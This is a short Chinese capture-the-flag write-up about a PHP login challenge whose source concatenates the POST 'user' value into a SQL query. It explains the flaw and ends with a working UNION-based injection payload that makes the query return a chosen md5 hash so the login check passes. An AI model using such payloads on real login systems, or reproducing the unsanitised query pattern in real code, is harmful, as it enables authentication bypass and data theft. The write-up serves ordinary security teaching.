1、知识点

```
Null
```

2、源码

```
<?php

if($_POST[user] && $_POST[pass]) {
   mysql_connect("localhost" . ':' . "3306","root","ym1");
  mysql_select_db("mysql");
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select user from users where user='
$user '"));
  if (($query[user]) && (!strcasecmp($pass, $query[user]))) {

    //strcasecmp:0 - 如果两个字符串相等

      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}

?>
```

3、分析

1）程序通过POST方法接收参数user和pass，并将user拼接到SQL语句中进行查询。如果查询到的user为真，并且user的值和经过md5加密后的pass值相等，就输出flag。

```
$user = $ POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select user from users where user=' $user '
  "));
if (($query[user]) && (!strcasecmp($pass, $query[user]))) {

  //strcasecmp:0 - 如果两个字符串相等

    echo "<p>Logged in! Key: ntcf{**************} </p>";
```

2）首先拼接到SQL语句中的POST参数是没有经过过滤的，所以这里可以通过'闭合#注释，造成SQL注入。然后构造出一个查询结果为和md5加密后的pass值相同的SQL语句即可拿到flag。

4、利用

```
user='and%200=1%20union%20select%20'e10adc3949ba59abbe56e057f20f883e'#&pass=123456
```